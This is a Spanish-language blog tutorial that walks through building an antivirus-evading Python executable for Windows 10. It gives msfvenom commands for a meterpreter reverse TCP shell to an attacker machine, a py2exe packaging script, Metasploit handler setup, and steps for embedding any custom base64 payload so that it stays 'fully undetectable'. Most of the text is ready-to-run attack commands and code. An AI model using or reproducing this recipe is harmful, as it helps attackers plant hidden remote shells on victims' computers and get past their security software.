En este artículo presentaré un tutorial, de Marcelo Sacchetin, sobre cómo evadir los antivirus en entornos Windows completamente parcheados y actualizados utilizando una carga útil o payload de Python.
Ten en cuenta que intentar la omisión de antivirus es un juego de gato y ratón. Cada vez que una nueva técnica de evasión se vuelve popular, los proveedores de antivirus eventualmente aprenderán sobre ella y actualizarán su base de datos de firmas para bloquearla. Luego, surgirán nuevas técnicas de evasión, que harán que los proveedores lo agreguen a su base de datos de firmas, y así sucesivamente.
[eckosc_status_message title=”Nota!” icon=”fa-info-circle” type=”info” message=”Marcelo Sacchetin es ingeniero de seguridad de aplicaciones en GrubHub. Esta publicación fue hecha en Junio 2019 y algunos sistemas como Windows Defender detectan esta técnica.”]
1. Payload con Python
Los antivirus basados en firmas funcionan comparando los binarios de los archivos con una base de datos de firmas (así funcionan los antivirus). El siguiente objetivo es “disfrazar” la payload de manera que no coincida con ninguna firma conocida en ninguna base de datos de proveedores de antivirus.
Este malware funcionará como un mero cliente que intenta iniciar una conexión TCP en el puerto 443. A los antivirus basados en el comportamiento les resulta más difícil marcar acciones como esta sin emitir muchos falsos positivos para aplicaciones legítimas como los navegadores web.
Para este ejemplo, utilizaremos una Payload de Python generada por MSFVenom para abrir un shell TCP inverso (sesión de meterpreter) en el puerto 443 a la máquina atacante que ejecuta Metasploit. Una acción como esa es obviamente malicioso y siempre debe ser marcado por cualquier agente antivirus.
Requisitos
- Kali Linux u otra distro para crear la payload y ejecutar Metasploit;
- Metasploitable 3 para empaquetar la payload;
- Windows 10 completamente parcheado para ejecutar;
2. Crear payload meterpreter payload FUD con Python
Cuando hablamos de FUD (Fully Undetectable) hablamos de que sea indetectable. Para crear este artefacto, vamos a realizar los siguientes pasos:
- Instala Python 2.7.16 x86 para Windows.
[eckosc_button title=”Descargar Python 2.7.16 x86″ icon=”fa-link” size=”standard” position=”center” color=”#000000″ rounded=”false” url=”https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi” blank=”true”]

[eckosc_status_message title=”Nota!” icon=”fa-exclamation-triangle” type=”warn” message=”Se requiere Python 2.7 x86. Instala la versión de 32 bits incluso si tu Windows es de x64. Además, asegúrate de seleccionar la opción ‘Agregar python.exe al Path’ durante la instalación”]
- Instala Py2exe 32 bits para Python 2.7.
- Opcionalmente, instala Open SSL para Windows.
Cambie a tu PC atacante (en mi caso Parrot OS) y crea la payload de Python:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.54 LPORT=443 -f raw -o /var/www/html/mrtp.py
service apache2 start
[eckosc_status_message title=”Nota!” icon=”fa-eye” type=”success” message=”Mi PC está usando la dirección IP 192.168.1.54. Asegúrate de reemplazarlo por tu IP actual para todos los pasos restantes en este tutorial.”]
Copia la payload “mrtp.py” nuevamente a la máquina Windows. Usando powershell, ejecuta:
w g e t http://192.168.1.54/mrtp.py -O mrtp.pyAdemás, cree un archivo setup.py con el siguiente contenido:
from distutils.core import setup
import py2exe
setup(
name = 'Mete'’,
description = 'Python-based App',
version = '1.0',
console=['mrtp.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)
Empaqueta el ejecutable de Python independiente con Py2Exe:
python.exe .\setup.py py2exe
Prueba el artefacto “mrtp.exe” creado en la carpeta dist:
Ejecutarlo:
.\dist\mrtp.exe
Regresa a tu Kali Linux o Parrot OS y ejecuta el Metasploit:
msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.1.54
set LPORT 443
run

Ahora que hemos confirmado que el artefacto funciona, comparémoslo con todos los motores antivirus disponibles en VirusTotal. Visita www.virtutotal.com y proporciona tu archivo “mrtp.exe” para escanear.
Si todo va bien, deberías obtener un informe similar al siguiente.


3. Personalizar tu propia payload de Python
Puede aprovechar esta técnica y utilizar tu propia payload personalizada de Python. Todo lo que necesitas hacer es repetir los pasos de la sesión anterior, editando el archivo “mrtp.py” después de generarlo con msfvenom. Tendrá que reemplazar la cadena base64 codificada original con tu propio código Python.
Solo como ejemplo, creemos un script Python “custom_payload.py” que solo imprima dos mensajes y la uses como una nueva payload.
print ("Payload Personalizado")
print ("Esto funciona!")Después de crearlo, necesitaremos codificarlo con codificación base64:
cat custom_payload.py | base64Para el script de muestra que utilizamos, nos dará la siguiente cadena codificada en base64: “cHJpbn…..IpCg ==”
Ahora, editamos el script existente “mrtp.py” que utilizamos en la sesión anterior, y reemplazamos la cadena base64 original que comienza con “aW1wb3J0IHNvY2t” con la nueva.
Entonces, realizamos los mismo pasos. Copia el nuevo “mrtp.py” nuevamente a tu máquina Windows y repite los pasos:
w g e t http://192.168.1.54/mrtp.py -O mrtp.py
python.exe .\setup.py py2exe
.\dist\mrtp.exeDespués de ejecutar el nuevo artefacto de Python incluido en “mrtp.exe“, se imprimen en el terminal las cadenas “Payload Personalizado” “Esto Funciona“.
En este punto, deberías poder crear cualquier artefacto de Python FUD que desees simplemente editando el archivo “custom_payload.py” y empaquetándolo con Py2Exe. (Ver artículo original, aquí)
Si te gusta el contenido y deseas apoyar a la mejora del sitio web, considera hacer una contribución ¡haciendo clic aquí por favor!. ¡NO ES OBLIGATORIO, GRACIAS! :’)
¿Te ha gustado este artículo? Sigue este blog en su fanpage de Facebook, Twitter, Instagram y/o YouTube para que no te pierdas del mejor contenido informático y hacking!


